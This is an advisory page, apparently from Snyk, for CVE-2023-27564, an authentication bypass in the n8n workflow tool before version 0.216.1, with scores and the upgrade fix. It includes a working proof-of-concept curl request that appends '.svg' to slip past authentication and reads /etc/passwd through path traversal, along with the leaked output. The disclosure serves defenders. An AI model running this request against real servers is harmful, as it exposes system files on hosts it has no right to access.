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Authentication Bypass Affecting n8n package, versions <0.216.1

0.0
medium

Snyk CVSS

    Attack Complexity Low

    Threat Intelligence

    EPSS 0.08% (33rd percentile)
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NVD
7.5 high

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  • Snyk ID SNYK-JS-N8N-5518108
  • published 11 May 2023
  • disclosed 11 May 2023
  • credit Synacktiv team
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Introduced: 11 May 2023

CVE-2023-27564 Open this link in a new tab
CWE-287 Open this link in a new tab

How to fix?

Upgrade n8n to version 0.216.1 or higher.

Overview

n8n is a n8n Workflow Automation Tool

Affected versions of this package are vulnerable to Authentication Bypass due to loose condition in auth.ts, which allows any user to send requests to an endpoint as long as request includes .svg. Exploiting this vulnerability might be escalated to directory traversal.

PoC 


$ curl -ksi 'https://redacted.com/rest/data/filesystem:..%2F..%2F..%2F..%2F..%2F..%2F..
%2F..%2F..%2Fetc%2Fpasswd:.svg'


HTTP/1.1 200 OK
[...]
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
[...]
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000:Linux User,,,:/home/node:/bin/sh